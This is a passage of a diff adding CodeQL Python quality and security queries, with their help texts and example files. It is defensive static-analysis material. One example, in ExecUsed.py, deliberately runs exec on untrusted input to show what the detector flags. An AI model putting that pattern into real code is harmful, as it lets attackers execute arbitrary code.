b/python/ql/src/Statements/AssertLiteralConstant.py new file mode 100644 index 00000000000..13271433e44 --- /dev/null +++ b/python/ql/src/Statements/AssertLiteralConstant.py @@ -0,0 +1,9 @@ +def buy_bananas(n): + if n > 500: + assert False, "Too many bananas." + send_order("bananas", n) + +def buy_bananas_correct(n): + if n > 500: + raise AssertionError("Too many bananas") + send_order("bananas", n) diff --git a/python/ql/src/Statements/AssertLiteralConstant.qhelp b/python/ql/src/Statements/AssertLiteralConstant.qhelp new file mode 100644 index 00000000000..056feabb422 --- /dev/null +++ b/python/ql/src/Statements/AssertLiteralConstant.qhelp @@ -0,0 +1,43 @@ + + + +

    + In Python, assertions are not executed when optimizations are enabled. + This may lead to unexpected behavior when assertions are used to the check + validity of a piece of input. +

    + +
    + + +

    + If the value being tested is false, replace the assert + statement with a raise statement that raises an appropriate + exception. If the value being tested is true, delete the assert + statement or replace it with a pass statement. +

    + +
    + +

    + This example shows a function buy_bananas that takes a + number n as input. The function checks that this number is not too big + before sending off an order for that number of bananas. Because this is done + using an assert statement, the check disappears when + optimizations are enabled. The second function corrects this error by + explicitly raising an AssertionError, and checks the value even + when optimizations are enabled. +

    + + + +
    + + +
  • Python Language Reference: The assert statement.
  • +
  • The Python Tutorial: “Compiled†Python files.
  • + +
    +
    diff --git a/python/ql/src/Statements/AssertLiteralConstant.ql b/python/ql/src/Statements/AssertLiteralConstant.ql new file mode 100644 index 00000000000..bf575dd0e25 --- /dev/null +++ b/python/ql/src/Statements/AssertLiteralConstant.ql @@ -0,0 +1,32 @@ +/** + * @name Assert statement tests the truth value of a literal constant + * @description An assert statement testing a literal constant value may exhibit + * different behavior when optimizations are enabled. + * @kind problem + * @tags reliability + * correctness + * @problem.severity recommendation + * @sub-severity low + * @precision medium + * @id py/assert-literal-constant + */ + +import python +import semmle.python.filters.Tests + +from Assert a, string value +where + /* Exclude asserts inside test cases */ + not a.getScope() instanceof Test and + exists(Expr test | test = a.getTest() | + value = test.(IntegerLiteral).getN() + or + value = "\"" + test.(StrConst).getS() + "\"" + or + value = test.(NameConstant).toString() + ) and + /* Exclude asserts appearing at the end of a chain of `elif`s */ + not exists(If i | + i.getElif().getAnOrelse() = a + ) +select a, "Assert of literal constant " + value + "." diff --git a/python/ql/src/Statements/AssertOnTuple.py b/python/ql/src/Statements/AssertOnTuple.py new file mode 100644 index 00000000000..b42d74faf1f --- /dev/null +++ b/python/ql/src/Statements/AssertOnTuple.py @@ -0,0 +1,7 @@ +assert xxx and yyy # Alternative 1a. Check both expressions are true + +assert xxx, yyy # Alternative 1b. Check 'xxx' is true, 'yyy' is the failure message. + +tuple = (xxx, yyy) # Alternative 2. Check both elements of the tuple match expectations. +assert tuple[0]==xxx +assert tuple[1]==yyy diff --git a/python/ql/src/Statements/AssertOnTuple.qhelp b/python/ql/src/Statements/AssertOnTuple.qhelp new file mode 100644 index 00000000000..35dca722899 --- /dev/null +++ b/python/ql/src/Statements/AssertOnTuple.qhelp @@ -0,0 +1,46 @@ + + + +

    When you define an assert statement to test a tuple the test +will either always succeed (if the tuple is non-empty) or always +fail (if the tuple is empty).

    + +

    This error usually occurs when the programmer writes +assert (condition, message) + +instead of the correct form +assert condition, message + +

    + +
    + + +

    Review the code and determine the purpose of the assert statement:

    +
      +
    • +If the "tuple" has been created in error, then remove the parentheses and correct the statement
    • +
    • If validation of a tuple is intended, then you should define an assert statement +for each element of the tuple.
    • +
    + +
    + +

    The statement assert (xxx, yyy) attempts to test a "tuple" (xxx, yyy). +The original intention may be any of the alternatives listed below:

    + + +

    If you want to define a validity check on the values of a tuple then these must be tested +individually.

    + +
    + + +
  • Python Language Reference: The assert statement.
  • +
  • Tutorials Point: Assertions in Python.
  • + + +
    +
    diff --git a/python/ql/src/Statements/AssertOnTuple.ql b/python/ql/src/Statements/AssertOnTuple.ql new file mode 100644 index 00000000000..8ca00f2391e --- /dev/null +++ b/python/ql/src/Statements/AssertOnTuple.ql @@ -0,0 +1,24 @@ +/** + * @name Asserting a tuple + * @description Using an assert statement to test a tuple provides no validity checking. + * @kind problem + * @tags reliability + * maintainability + * external/cwe/cwe-670 + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/asserts-tuple + */ + +import python + +from Assert a, string b, string non +where a.getTest() instanceof Tuple and + (if exists(((Tuple)a.getTest()).getAnElt()) then + (b = "True" and non = "non-") + else + (b = "False" and non = "") + ) +select a, "Assertion of " + non + "empty tuple is always " + b + "." + diff --git a/python/ql/src/Statements/BreakOrReturnInFinally.qhelp b/python/ql/src/Statements/BreakOrReturnInFinally.qhelp new file mode 100644 index 00000000000..e759b6e8cb4 --- /dev/null +++ b/python/ql/src/Statements/BreakOrReturnInFinally.qhelp @@ -0,0 +1,32 @@ + + + +

    When a break or return statement is used in a +finally block this causes the try-finally block +to exit immediately discarding the exception. This is unlikely to be the +intention of the developer and makes the code more difficult to read.

    + +
    + + +

    Either move the break or return statement to +immediately after the finally block or use an explicit +except block to handle the exception.

    + +

    These modifications are behavior changing so you must take care to ensure +that the resulting behavior is correct.

    + +
    + + +
  • +Python Language Reference: +The try statement, +The break statement, +The return statement.
  • + + +
    +
    diff --git a/python/ql/src/Statements/BreakOrReturnInFinally.ql b/python/ql/src/Statements/BreakOrReturnInFinally.ql new file mode 100644 index 00000000000..1d9bc7296c9 --- /dev/null +++ b/python/ql/src/Statements/BreakOrReturnInFinally.ql @@ -0,0 +1,27 @@ +/** + * @name 'break' or 'return' statement in finally + * @description Using a Break or Return statement in a finally block causes the + * Try-finally block to exit, discarding the exception. + * @kind problem + * @tags reliability + * maintainability + * external/cwe/cwe-584 + * @problem.severity warning + * @sub-severity low + * @precision medium + * @id py/exit-from-finally + */ + +import python + +from Stmt s, string kind +where +s instanceof Return and kind = "return" and exists(Try t | t.getFinalbody().contains(s)) +or +s instanceof Break and kind = "break" and +exists(Try t | t.getFinalbody().contains(s) | + not exists(For loop | loop.contains(s) and t.getFinalbody().contains(loop)) + and + not exists(While loop | loop.contains(s) and t.getFinalbody().contains(loop)) +) +select s, "'" + kind + "' in a finally block will swallow any exceptions raised." diff --git a/python/ql/src/Statements/C_StyleParentheses.py b/python/ql/src/Statements/C_StyleParentheses.py new file mode 100644 index 00000000000..b3b28316ce2 --- /dev/null +++ b/python/ql/src/Statements/C_StyleParentheses.py @@ -0,0 +1,23 @@ + +#Written in Java or C style +def gcd(a, b): + while(a != 0 and b != 0): + if(a > b): + a = a % b + else: + b = b % a + if(a == 0): + return (b) + return (a) + +#Written in a more Pythonic style +def gcd(a, b): + while a != 0 and b != 0: + if a > b: + a = a % b + else: + b = b % a + if a == 0: + return b + return a + diff --git a/python/ql/src/Statements/C_StyleParentheses.qhelp b/python/ql/src/Statements/C_StyleParentheses.qhelp new file mode 100644 index 00000000000..772e7822895 --- /dev/null +++ b/python/ql/src/Statements/C_StyleParentheses.qhelp @@ -0,0 +1,43 @@ + + + +

    Python is designed to be more readable, at least for Western readers, than languages in the C family. +This is achieved, in part, by using English language keywords and more familiar punctuation. +Top level expressions are thus bracketed by the keyword and either a colon or new line, which can be more +easily picked put by eye than parentheses. +

    + +

    Using superfluous parentheses can impair this readability by making the code harder to scan and parse by eye. +Parentheses often serve as a visual clue for more complex expressions, and adding them unnecessarily can be distracting. +

    + +

    One notable exception to this rule is when an expression has to span multiple lines. In which case, using of parentheses is +preferred to using a back slash for line continuation. +

    + +
    + + +

    +Remove the unnecessary parentheses. +

    + +
    + +

    In the first of the two examples, most of the expressions are wrapped in parentheses. +This is harder to read than the second example, especially to a programmer more familiar with Python than with C or Java. + +

    + +
    + + +
  • Python Language Reference: Full grammar specification.
  • +
  • Google Python Style Guide: Use parentheses sparingly.
  • +
  • Python PEP Index: PEP 8.
  • + + +
    +
    diff --git a/python/ql/src/Statements/C_StyleParentheses.ql b/python/ql/src/Statements/C_StyleParentheses.ql new file mode 100644 index 00000000000..c670876e15a --- /dev/null +++ b/python/ql/src/Statements/C_StyleParentheses.ql @@ -0,0 +1,32 @@ +/** + * @name C-style condition + * @description Putting parentheses around a condition in an 'if' or 'while' statement is + * unnecessary and harder to read. + * @kind problem + * @tags maintainability + * @problem.severity recommendation + * @sub-severity low + * @deprecated + * @precision very-high + * @id py/c-style-parentheses + */ + +import python + +from Expr e, Location l, string kind, string what +where e.isParenthesized() and +not e instanceof Tuple and +( + exists(If i | i.getTest() = e) and kind = "if" and what = "condition" + or + exists(While w | w.getTest() = e) and kind = "while" and what = "condition" + or + exists(Return r | r.getValue() = e) and kind = "return" and what = "value" + or + exists(Assert a | a.getTest() = e and not exists(a.getMsg())) and kind = "assert" and what = "test" +) +and +// These require parentheses +(not e instanceof Yield and not e instanceof YieldFrom and not e instanceof GeneratorExp) and +l = e.getLocation() and l.getStartLine() = l.getEndLine() +select e, "Parenthesized " + what + " in '" + kind + "' statement." diff --git a/python/ql/src/Statements/ConstantInConditional.py b/python/ql/src/Statements/ConstantInConditional.py new file mode 100644 index 00000000000..3abdf99836d --- /dev/null +++ b/python/ql/src/Statements/ConstantInConditional.py @@ -0,0 +1,9 @@ +if True: + print "True is true!" + +def limit(l): + if l < -100: + l = -100 + if 1 > 100: + l = 100 + return l diff --git a/python/ql/src/Statements/ConstantInConditional.qhelp b/python/ql/src/Statements/ConstantInConditional.qhelp new file mode 100644 index 00000000000..d388a0b85a9 --- /dev/null +++ b/python/ql/src/Statements/ConstantInConditional.qhelp @@ -0,0 +1,34 @@ + + + +

    Using a constant value as a test in a conditional statement renders the statement pointless as only +one branch will be run regardless of any other factors.

    + +
    + +

    If the conditional statement is required for debugging or similar then use a variable instead. +Otherwise, remove the conditional statement and any associated dead code.

    + +
    + +

    In the first example the if statement will always be executed and therefore can be removed. The +contents of the statement should be kept though.

    + +

    In the second example the statement l = 100 is never executed because 1 > 100 is always false. +However, it is likely that the intention was l > 100 (the number '1' being misread as the letter 'l') +and that the test should be corrected, rather than deleted. + +

    + +
    + + +
  • Python: The If Statement.
  • +
  • Python: The While Statement.
  • +
  • Python: Literals (constant values).
  • + + +
    +
    diff --git a/python/ql/src/Statements/ConstantInConditional.ql b/python/ql/src/Statements/ConstantInConditional.ql new file mode 100644 index 00000000000..06a63cf037a --- /dev/null +++ b/python/ql/src/Statements/ConstantInConditional.ql @@ -0,0 +1,42 @@ +/** + * @name Constant in conditional expression or statement + * @description The conditional is always true or always false + * @kind problem + * @tags maintainability + * useless-code + * external/cwe/cwe-561 + * external/cwe/cwe-570 + * external/cwe/cwe-571 + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/constant-conditional-expression + */ + +import python + + +predicate is_condition(Expr cond) { + exists(If i | i.getTest() = cond) or + exists(IfExp ie | ie.getTest() = cond) +} + +/* Treat certain unmodified builtins as constants as well. */ +predicate effective_constant(Name cond) { + exists(GlobalVariable var | var = cond.getVariable() and not exists(NameNode f | f.defines(var)) | + var.getId() = "True" or var.getId() = "False" or var.getId() = "NotImplemented" + ) +} + +predicate test_makes_code_unreachable(Expr cond) { + exists(If i | i.getTest() = cond | i.getStmt(0).isUnreachable() or i.getOrelse(0).isUnreachable()) + or + exists(While w | w.getTest() = cond and w.getStmt(0).isUnreachable()) +} + + +from Expr cond +where is_condition(cond) and (cond.isConstant() or effective_constant(cond)) and +/* Ignore cases where test makes code unreachable, as that is handled in different query */ +not test_makes_code_unreachable(cond) +select cond, "Testing a constant will always give the same result." diff --git a/python/ql/src/Statements/DocStrings.py b/python/ql/src/Statements/DocStrings.py new file mode 100644 index 00000000000..370d4fb6bbd --- /dev/null +++ b/python/ql/src/Statements/DocStrings.py @@ -0,0 +1,2 @@ +def add(x, y): + return x + y \ No newline at end of file diff --git a/python/ql/src/Statements/DocStrings.qhelp b/python/ql/src/Statements/DocStrings.qhelp new file mode 100644 index 00000000000..1b9938a1fba --- /dev/null +++ b/python/ql/src/Statements/DocStrings.qhelp @@ -0,0 +1,39 @@ + + + + + +

    PEP8 mandates that all public modules, classes, functions and methods should have a documentation +string. Ensuring that every public module, class, function and method is documented makes it easier +for other developers to maintain the code. +

    + +
    + + +

    If a module, class, function or method needs to be public then add a documentation string that +describes the +purpose or use of the object (see PEP 257 for guidelines). If the object does not need to be public +then make it "private" by changing its name from xxx to _xxx.

    + +
    + +

    The following simple, public function should be updated to include a documentation string +immediately after the def line.

    + + +

    You might insert the documentation string: """Return the sum of x and y.""" on line 2. + +

    + + +
  • Python PEP 8: Documentation strings.
  • +
  • Python PEP 257: Documentation string conventions +.
  • + + + +
    +
    diff --git a/python/ql/src/Statements/DocStrings.ql b/python/ql/src/Statements/DocStrings.ql new file mode 100644 index 00000000000..4bf458bd22b --- /dev/null +++ b/python/ql/src/Statements/DocStrings.ql @@ -0,0 +1,50 @@ +/** + * @name Missing docstring + * @description Omitting documentation strings from public classes, functions or methods + * makes it more difficult for other developers to maintain the code. + * @kind problem + * @tags maintainability + * @problem.severity recommendation + * @sub-severity low + * @precision medium + * @id py/missing-docstring + */ +/* NOTE: precision of 'medium' reflects the lack of precision in the underlying rule. + * Do we care whether a function has a docstring? That often depends on the reader of that docstring. + */ + +import python + +predicate needs_docstring(Scope s) { + s.isPublic() and + ( + not s instanceof Function + or + function_needs_docstring(s) + ) +} + +predicate function_needs_docstring(Function f) { + not exists(FunctionObject fo, FunctionObject base | fo.overrides(base) and fo.getFunction() = f | + not function_needs_docstring(base.getFunction())) and + f.getName() != "lambda" and + (f.getMetrics().getNumberOfLinesOfCode() - count(f.getADecorator())) > 2 + and not exists(PythonPropertyObject p | + p.getGetter().getFunction() = f or + p.getSetter().getFunction() = f + ) +} + +string scope_type(Scope s) { + result = "Module" and s instanceof Module and not ((Module)s).isPackage() + or + result = "Class" and s instanceof Class + or + result = "Function" and s instanceof Function +} + +from Scope s +where needs_docstring(s) and not exists(s.getDocString()) +select s, scope_type(s) + " " + s.getName() + " does not have a docstring" + + diff --git a/python/ql/src/Statements/ExecUsed.py b/python/ql/src/Statements/ExecUsed.py new file mode 100644 index 00000000000..6ea92f1d0b3 --- /dev/null +++ b/python/ql/src/Statements/ExecUsed.py @@ -0,0 +1,3 @@ + +to_execute = get_untrusted_code() +exec to_execute diff --git a/python/ql/src/Statements/ExecUsed.qhelp b/python/ql/src/Statements/ExecUsed.qhelp new file mode 100644 index 00000000000..f7b34581578 --- /dev/null +++ b/python/ql/src/Statements/ExecUsed.qhelp @@ -0,0 +1,30 @@ + + + + +

    Using exec may introduce a security vulnerability into your program unless +you ensure that the data passed to the statement is neutralized. +

    + +
    + +

    Review all uses of the exec statement (Python 2) or function (Python 3). +Where possible, replace the exec statement or function with normal python code. +Alternatively, ensure that all data passed to the statement is neutralized.

    + +
    + +

    In the example, the exec statement is used and may result in executing code from an attacker.

    + + + +
    + + +
  • Python 2.7 Language Reference: The exec statement.
  • +
  • Python 3 Standard Library: exec.
  • + +
    +
    diff --git a/python/ql/src/Statements/ExecUsed.ql b/python/ql/src/Statements/ExecUsed.ql new file mode 100644 index 00000000000..7e6363ae3c8 --- /dev/null +++ b/python/ql/src/Statements/ExecUsed.ql @@ -0,0 +1,27 @@ +/** + * @name 'exec' used + * @description The 'exec' statement or function is used which could cause arbitrary code to be executed. + * @kind problem + * @tags security + * correctness + * @problem.severity error + * @sub-severity high + * @precision low + * @id py/use-of-exec + */ + +import python + +string message() { + result = "The 'exec' statement is used." and major_version() = 2 + or + result = "The 'exec' function is used." and major_version() = 3 +} + +predicate exec_function_call(Call c) { + major_version() = 3 and exists(GlobalVariable exec | exec = ((Name)c.getFunc()).getVariable() and exec.getId() = "exec") +} + +from AstNode exec +where exec_function_call(exec) or exec instanceof Exec +select exec, message() \ No newline at end of file diff --git a/python/ql/src/Statements/ExitUsed.py b/python/ql/src/Statements/ExitUsed.py new file mode 100644 index 00000000000..ae03479497e --- /dev/null +++ b/python/ql/src/Statements/ExitUsed.py @@ -0,0 +1,7 @@ + +def main(): + try: + process() + except Exception as ex: + print(ex) + exit(1) diff --git a/python/ql/src/Statements/IterableStringOrSequence.py b/python/ql/src/Statements/IterableStringOrSequence.py new file mode 100644 index 00000000000..7f5eb2959a0 --- /dev/null +++ b/python/ql/src/Statements/IterableStringOrSequence.py @@ -0,0 +1,18 @@ + +#Mistakenly mixed list and string +def greeting(): + if is_global(): + greet = [ "Hello", "World" ] + else: + greet = "Hello" + for word in greet: + print(word) + +#Only use list +def fixed_greeting(): + if is_global(): + greet = [ "Hello", "World" ] + else: + greet = [ "Hello" ] + for word in greet: + print(word) diff --git a/python/ql/src/Statements/IterableStringOrSequence.qhelp b/python/ql/src/Statements/IterableStringOrSequence.qhelp new file mode 100644 index 00000000000..044474de79b --- /dev/null +++ b/python/ql/src/Statements/IterableStringOrSequence.qhelp @@ -0,0 +1,47 @@ + + + +

    The for statement is designed to allow you to iterate over the elements of a +sequence or other iterable object. Strings in Python are iterable, and often used as such. +However, they are also often considered, not as sequences of characters, but as atomic entities. +

    + +

    +One source of defects in Python is mistakenly iterating over a non-iterable object such as an integer. +This sort of defect is easily detected as a TypeError will be raised. However, if a string +is mistakenly used as the iterable in a for statement, which also receives other sequences +(such as lists) then the code will iterate over the string one character at a time. +This is probably not what the programmer intended and results in errors that are hard to find. +

    + +
    + + +

    Since this defect usually indicates a logical error, it is not possible to give a general method +for addressing the defect. However, adding a guard that checks that the iterator is not a string +could be worthwhile. +

    + +
    + +

    +In this example, the loop may iterate over "Hello" producing one character per line, +as well as over [ "Hello", "World" ] +It is likely that the programmer forgot to wrap the "Hello" in brackets. +

    + + +
    + + +
  • Python Language Reference: The for statement, + object.__iter__.
  • +
  • Python Standard Library: Iterator types.
  • +
  • Scipy lecture notes: Iterators, +generator expressions and generators.
  • + + +
    +
    diff --git a/python/ql/src/Statements/IterableStringOrSequence.ql b/python/ql/src/Statements/IterableStringOrSequence.ql new file mode 100644 index 00000000000..a44c3ae7286 --- /dev/null +++ b/python/ql/src/Statements/IterableStringOrSequence.ql @@ -0,0 +1,30 @@ +/** + * @name Iterable can be either a string or a sequence + * @description Iteration over either a string or a sequence in the same loop can cause errors that are hard to find. + * @kind problem + * @tags reliability + * maintainability + * non-local + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/iteration-string-and-sequence + */ + +import python + +predicate is_a_string_type(ClassObject seqtype) { + seqtype = theBytesType() and major_version() = 2 + or + seqtype = theUnicodeType() +} + +from For loop, ControlFlowNode iter, Object str, Object seq, ControlFlowNode seq_origin, ClassObject strtype, ClassObject seqtype, ControlFlowNode str_origin +where loop.getIter().getAFlowNode() = iter and +iter.refersTo(str, strtype, str_origin) and +iter.refersTo(seq, seqtype, seq_origin) and +is_a_string_type(strtype) and +seqtype.isIterable() and +not is_a_string_type(seqtype) + +select loop, "Iteration over $@, of class " + seqtype.getName() + ", may also iterate over $@.", seq_origin, "sequence", str_origin, "string" \ No newline at end of file diff --git a/python/ql/src/Statements/MismatchInMultipleAssignment.py b/python/ql/src/Statements/MismatchInMultipleAssignment.py new file mode 100644 index 00000000000..1671149c52c --- /dev/null +++ b/python/ql/src/Statements/MismatchInMultipleAssignment.py @@ -0,0 +1,14 @@ +# Fibonacci series 1: +# the sum of two elements defines the next + +a, b = 0, 1, 1 # Assignment fails: accidentally put three values on right +while b < 10: + print b + a, b = b, a+b + +# Fibonacci series 2: +# the sum of two elements defines the next +a, b = 0, 1 # Assignment succeeds: two variables on left and two values on right +while b < 10: + print b + a, b = b, a+b diff --git a/python/ql/src/Statements/MismatchInMultipleAssignment.qhelp b/python/ql/src/Statements/MismatchInMultipleAssignment.qhelp new file mode 100644 index 00000000000..dc577baa97e --- /dev/null +++ b/python/ql/src/Statements/MismatchInMultipleAssignment.qhelp @@ -0,0 +1,35 @@ + + + + + +

    An assignment statement evaluates a sequence expression and assigns each item of the sequence to +one of the variables on the left. If there is a mismatch between the number of variables on +the left and the values in the sequence on the right of the statement, then an exception is raised +at runtime. +

    + +
    + +

    Ensure that the number of variables on either side of the assignment match.

    + +
    + +

    The following examples show a simple definition of the Fibonacci series. In the first example, +one of the values in the assignment has been duplicated, causing an exception at runtime.

    + + + +
    + + +
  • Python Language Reference: +Assignment statements.
  • +
  • Python Tutorial: +First steps towards programming.
  • + + +
    +
    diff --git a/python/ql/src/Statements/MismatchInMultipleAssignment.ql b/python/ql/src/Statements/MismatchInMultipleAssignment.ql new file mode 100644 index 00000000000..8dee6d5eb5f --- /dev/null +++ b/python/ql/src/Statements/MismatchInMultipleAssignment.ql @@ -0,0 +1,58 @@ +/** + * @name Mismatch in multiple assignment + * @description Assigning multiple variables without ensuring that you define a + * value for each variable causes an exception at runtime. + * @kind problem + * @tags reliability + * correctness + * types + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/mismatched-multiple-assignment + */ + +import python + +private int len(ExprList el) { + result = count(el.getAnItem()) +} + +predicate mismatched(Assign a, int lcount, int rcount, Location loc, string sequenceType) { + exists(ExprList l, ExprList r | + (a.getATarget().(Tuple).getElts() = l or + a.getATarget().(List).getElts() = l) + and + ((a.getValue().(Tuple).getElts() = r and sequenceType = "tuple") or + (a.getValue().(List).getElts() = r and sequenceType = "list")) + and + loc = a.getValue().getLocation() and + lcount = len(l) and + rcount = len(r) and + lcount != rcount and + not exists(Starred s | l.getAnItem() = s or r.getAnItem() = s) + ) +} + +predicate mismatched_tuple_rhs(Assign a, int lcount, int rcount, Location loc) { + exists(ExprList l, TupleObject r, AstNode origin | + (a.getATarget().(Tuple).getElts() = l or + a.getATarget().(List).getElts() = l) + and + a.getValue().refersTo(r, origin) and + loc = origin.getLocation() and + lcount = len(l) and + rcount = r.getLength() and + lcount != rcount and + not exists(Starred s | l.getAnItem() = s) + ) +} + + +from Assign a, int lcount, int rcount, Location loc, string sequenceType +where + mismatched(a, lcount, rcount, loc, sequenceType) + or + mismatched_tuple_rhs(a, lcount, rcount, loc) and + sequenceType = "tuple" +select a, "Left hand side of assignment contains " + lcount + " variables, but right hand side is a $@ of length " + rcount + "." , loc, sequenceType diff --git a/python/ql/src/Statements/ModificationOfLocals.py b/python/ql/src/Statements/ModificationOfLocals.py new file mode 100644 index 00000000000..3274d3cbb59 --- /dev/null +++ b/python/ql/src/Statements/ModificationOfLocals.py @@ -0,0 +1,10 @@ + +def modifies_locals_sum(x, y): + locals()['z'] = x + y + #z will not be defined as modifications to locals() do not alter the local variables. + return z + +def fixed_sum(x, y): + z = x + y + return z + diff --git a/python/ql/src/Statements/ModificationOfLocals.qhelp b/python/ql/src/Statements/ModificationOfLocals.qhelp new file mode 100644 index 00000000000..a94508447d9 --- /dev/null +++ b/python/ql/src/Statements/ModificationOfLocals.qhelp @@ -0,0 +1,33 @@ + + + +

    + The dictionary returned by locals() is not a view of the function's locals, but a copy. + Therefore, modification of the dictionary returned from locals() will not modify the local + variables of the function. +

    + + +
    + + +

    If the intention is to modify a local variable, then do so directly. +

    + +
    + +

    In this example, rather than assigning to the variable z directly, the dictionary returned by locals() +is modified. + +

    + +
    + + +
  • Python Language Reference: The for statement.
  • +
  • Python Tutorial: for statements.
  • + +
    +
    diff --git a/python/ql/src/Statements/ModificationOfLocals.ql b/python/ql/src/Statements/ModificationOfLocals.ql new file mode 100644 index 00000000000..c65be7b3366 --- /dev/null +++ b/python/ql/src/Statements/ModificationOfLocals.ql @@ -0,0 +1,43 @@ +/** + * @name Modification of dictionary returned by locals() + * @description Modifications of the dictionary returned by locals() are not propagated to the local variables of a function. + * @kind problem + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/modification-of-locals + */ + +import python + +Object aFunctionLocalsObject() { + exists(Call c, Name n, GlobalVariable v | + c = result.getOrigin() and + n = c.getFunc() and + n.getVariable() = v and + v.getId() = "locals" and + c.getScope() instanceof FastLocalsFunction + ) +} + + + +predicate modification_of_locals(ControlFlowNode f) { + f.(SubscriptNode).getValue().refersTo(aFunctionLocalsObject()) and (f.isStore() or f.isDelete()) + or + exists(string mname, AttrNode attr | + attr = f.(CallNode).getFunction() and + attr.getObject(mname).refersTo(aFunctionLocalsObject(), _) | + mname = "pop" or + mname = "popitem" or + mname = "update" or + mname = "clear" + ) +} + +from AstNode a, ControlFlowNode f +where modification_of_locals(f) and a = f.getNode() + +select a, "Modification of the locals() dictionary will have no effect on the local variables." diff --git a/python/ql/src/Statements/NestedLoopsSameVariable.py b/python/ql/src/Statements/NestedLoopsSameVariable.py new file mode 100644 index 00000000000..4e1fd333e08 --- /dev/null +++ b/python/ql/src/Statements/NestedLoopsSameVariable.py @@ -0,0 +1,6 @@ + +for var in range(3): + for var in range(3): + pass + print (var) # Prints 2 2 2 not 0 1 2 as might be expected + diff --git a/python/ql/src/Statements/NestedLoopsSameVariable.qhelp b/python/ql/src/Statements/NestedLoopsSameVariable.qhelp new file mode 100644 index 00000000000..e2e1806d2c8 --- /dev/null +++ b/python/ql/src/Statements/NestedLoopsSameVariable.qhelp @@ -0,0 +1,32 @@ + + + +

    + In Python variables have function-wide scope which means that if two variables have the same name in the + same scope, they are in fact one variable. Consequently, nested loops in which the target variables have + the same name in fact share a single variable. Such loops are difficult to understand as the inner loop will + modify the target variable of the outer loop; this may be a typographical error. +

    + + +
    + + +

    Carefully examine the code and check for possible errors, +particularly considering what would happen if the inner or outer variable were renamed. +

    + +
    + + + + + + +
  • Python Language Reference: The for statement.
  • +
  • Python Tutorial: for statements.
  • + +
    +
    diff --git a/python/ql/src/Statements/NestedLoopsSameVariable.ql b/python/ql/src/Statements/NestedLoopsSameVariable.ql new file mode 100644 index 00000000000..6c1ed0f68ff --- /dev/null +++ b/python/ql/src/Statements/NestedLoopsSameVariable.ql @@ -0,0 +1,29 @@ +/** + * @name Nested loops with same variable + * @description Nested loops in which the target variable is the same for each loop make + * the behavior of the loops difficult to understand. + * @kind problem + * @tags maintainability + * correctness + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/nested-loops-with-same-variable + */ +import python + +predicate loop_variable(For f, Variable v) { + f.getTarget().defines(v) +} + +predicate variableUsedInNestedLoops(For inner, For outer, Variable v) { + /* Only treat loops in body as inner loops. Loops in the else clause are ignored. */ + outer.getBody().contains(inner) and loop_variable(inner, v) and loop_variable(outer, v) + /* Ignore cases where there is no use of the variable or the only use is in the inner loop */ + and exists(Name n | n.uses(v) and outer.contains(n) and not inner.contains(n)) +} + +from For inner, For outer, Variable v +where variableUsedInNestedLoops(inner, outer, v) +select inner, "Nested for statement uses loop variable '" + v.getId() + "' of enclosing $@.", + outer, "for statement" diff --git a/python/ql/src/Statements/NestedLoopsSameVariableWithReuse.py b/python/ql/src/Statements/NestedLoopsSameVariableWithReuse.py new file mode 100644 index 00000000000..b40c929374d --- /dev/null +++ b/python/ql/src/Statements/NestedLoopsSameVariableWithReuse.py @@ -0,0 +1,16 @@ +def largest_elements(l): + for x in l: + maxnum = 0 + for x in x: + maxnum = max(x, maxnum) + # The outer loop variable x has now been overwritten by the inner loop. + print "The largest element in the list", x, "is", maxnum + + +def largest_elements_correct(l): + for x in l: + maxnum = 0 + for y in x: + maxnum = max(y, maxnum) + print "The largest element in the list", x, "is", maxnum + diff --git a/python/ql/src/Statements/NestedLoopsSameVariableWithReuse.qhelp b/python/ql/src/Statements/NestedLoopsSameVariableWithReuse.qhelp new file mode 100644 index 00000000000..25b047ef6df --- /dev/null +++ b/python/ql/src/Statements/NestedLoopsSameVariableWithReuse.qhelp @@ -0,0 +1,42 @@ + + + +

    + In Python variables have function-wide scope which means that if two + variables have the same name in the same scope, they are in fact one + variable. Consequently, nested loops in which the target variables have the + same name in fact share a single variable. Such loops are difficult to + understand as the inner loop will modify the target variable of the outer + loop. This may lead to unexpected behavior if the loop variable is used + after the inner loop has terminated. +

    + +
    + + +

    + Rename the inner loop variable. +

    + +
    + +

    + This example shows a function that processes a sequence of lists of numbers. It + prints out the largest element from each of the lists. In the first version, the + variable x gets overwritten by the inner loop, resulting in the + wrong output. In the second function, the error has been fixed by renaming the + inner loop variable to stop it overwriting the outer loop variable. +

    + + + +
    + + +
  • Python Language Reference: The for statement.
  • +
  • Python Tutorial: for statements.
  • + +
    +
    diff --git a/python/ql/src/Statements/NestedLoopsSameVariableWithReuse.ql b/python/ql/src/Statements/NestedLoopsSameVariableWithReuse.ql new file mode 100644 index 00000000000..0082f8c3c1a --- /dev/null +++ b/python/ql/src/Statements/NestedLoopsSameVariableWithReuse.ql @@ -0,0 +1,36 @@ +/** + * @name Nested loops with same variable reused after inner loop body + * @description Redefining a variable in an inner loop and then using + * the variable in an outer loop causes unexpected behavior. + * @kind problem + * @tags maintainability + * correctness + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/nested-loops-with-same-variable-reused + */ + +import python + +predicate loop_variable_ssa(For f, Variable v, SsaVariable s) { + f.getTarget().getAFlowNode() = s.getDefinition() and v = s.getVariable() +} + +predicate variableUsedInNestedLoops(For inner, For outer, Variable v, Name n) { + /* Ignore cases where there is no use of the variable or the only use is in the inner loop. */ + outer.contains(n) + and not inner.contains(n) + /* Only treat loops in body as inner loops. Loops in the else clause are ignored. */ + and outer.getBody().contains(inner) + and exists(SsaVariable s | + loop_variable_ssa(inner, v, s.getAnUltimateDefinition()) + and loop_variable_ssa(outer, v, _) + and s.getAUse().getNode() = n + ) +} + +from For inner, For outer, Variable v, Name n +where variableUsedInNestedLoops(inner, outer, v, n) +select inner, "Nested for statement $@ loop variable '" + v.getId() + "' of enclosing $@.", n, "uses", + outer, "for statement" \ No newline at end of file diff --git a/python/ql/src/Statements/NonIteratorInForLoop.py b/python/ql/src/Statements/NonIteratorInForLoop.py new file mode 100644 index 00000000000..40de180da3c --- /dev/null +++ b/python/ql/src/Statements/NonIteratorInForLoop.py @@ -0,0 +1,6 @@ + + +def illegal_for_loop(seq = None): + for x in seq: + print (x) + diff --git 